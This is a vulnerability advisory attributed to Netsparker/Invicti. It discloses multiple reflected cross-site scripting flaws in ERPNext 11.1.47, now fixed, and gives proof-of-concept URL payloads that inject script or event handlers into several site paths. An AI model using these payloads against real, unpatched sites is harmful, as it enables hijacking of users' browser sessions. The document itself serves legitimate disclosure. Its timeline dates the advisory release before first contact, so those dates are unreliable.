Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext 11.1.47
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext
Affected Software: ERPNext
Affected Versions: 11.1.47
Vendor Homepage: https://erpnext.com/
Vulnerability Type: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-017
Technical Details
URL: http://{DOMAIN}/address/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
URL: http://{DOMAIN}/addresses/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
URL: http://{DOMAIN}/blog/"onload="alert(‘test’)" x
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: "alert(‘test’)" x
URL: http://{DOMAIN}/contact/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
URL: http://{DOMAIN}/project/'"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(‘test’)</scRipt>
URL: http://{DOMAIN}/user/admin@example.comx"%20onmouseover=alert(‘test’)%20x="
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x"%20onmouseover=alert(‘test’)%20x="
URL: http://{DOMAIN}/api/method/x"%20onmouseover=alert(‘test’)%20x="
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x"%20onmouseover=alert(‘test’)%20x="
URL: http://{DOMAIN}/api/x"%20onmouseover=alert(‘test’)%20x="
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x"%20onmouseover=alert(‘test’)%20x="
For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).
Advisory Timeline
23rd July 2019 – First Contact
30th July 2019 – Vendor Fixed
6th January 2019 – Advisory Released
Credits & Authors
These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.